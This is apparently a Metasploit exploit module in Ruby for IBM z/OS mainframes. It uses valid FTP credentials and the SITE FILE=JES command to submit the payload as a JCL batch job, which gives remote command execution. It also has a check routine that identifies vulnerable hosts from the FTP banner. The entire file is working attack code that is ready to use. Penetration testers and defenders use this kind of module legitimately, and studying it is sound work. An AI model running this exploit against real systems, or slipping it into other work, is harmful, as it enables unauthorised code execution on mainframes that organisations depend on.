##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/tcp'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => 'FTP JCL Execution',
      'Description'    => %q{(Submit JCL to z/OS via FTP and SITE FILE=JES.
        This exploit requires valid credentials on the target system)},
      'Author'         =>
         [
           'Bigendian Smalls',
           'mainframed a.k.a. soldier of fortran',
           'S&Oxballs a.k.a. chiefascot'
         ],
      'Arch'           => ARCH_CMD,
      'License'        => MSF_LICENSE,
      'Platform'       => ['mainframe'],
      'Privileged'     => false,
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => 'May 12 2013',
      'DisableNops'    => 'true',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(21),
        OptInt.new('SLEEP', [ false, "Time to wait before checking if job has completed.", 5 ])
      ], self.class
    )
  end

  def check
    ##
    # Connect to get the FTP banner and check target OS
    ##
    if !connect_login
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server")
    else
      print_good("Successfully connected to FTP server.")
    end
    test_jes = send_cmd(['site', 'file=jes'])

    # Disconnect and check cached self.banner
    disconnect

    ##
    # Check if the target system has an FTP server running on z/OS"
    ##
    case banner
    when /IBM FTP CS V.R./
      case test_jes
      when /200 SITE/
        print_status("Found IBM z/OS Banner and JES commands accepted")
        return Exploit::CheckCode::Vulnerable
      else
        print_error("Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!")
        return Exploit::CheckCode::Detected
      end

    ##
    # Return the Safe flag if system is not exploitable
    ##
    else
      print_status("We could not recognize the server banner: #{banner.strip}")
      return Exploit::CheckCode::Safe
    end
  end

  ##
  # Exploit the target system by submitting a JCL job via FTP
  ##
  def exploit
    if !connect_login
      fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to connect to FTP server")
    else
      print_good("Successfully connected to FTP server.")
    end

    send_cmd(['site', 'file=jes'])
    print_good("Successfully switched to JES mode")

    jcl_file_name = "#{Rex::Text.rand_text_alpha(8).upcase}"
    print_status("Uploading JCL file: #{jcl_file_name}")

    res = send_cmd_data(['put', jcl_file_name], payload.encoded)
    if res.nil?
      fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to upload JCL to FTP server")
    end

    job_num = res.lines.first.split.last
    print_good("Job Submitted. Job number is #{job_num}")

    handler
    disconnect
  end
end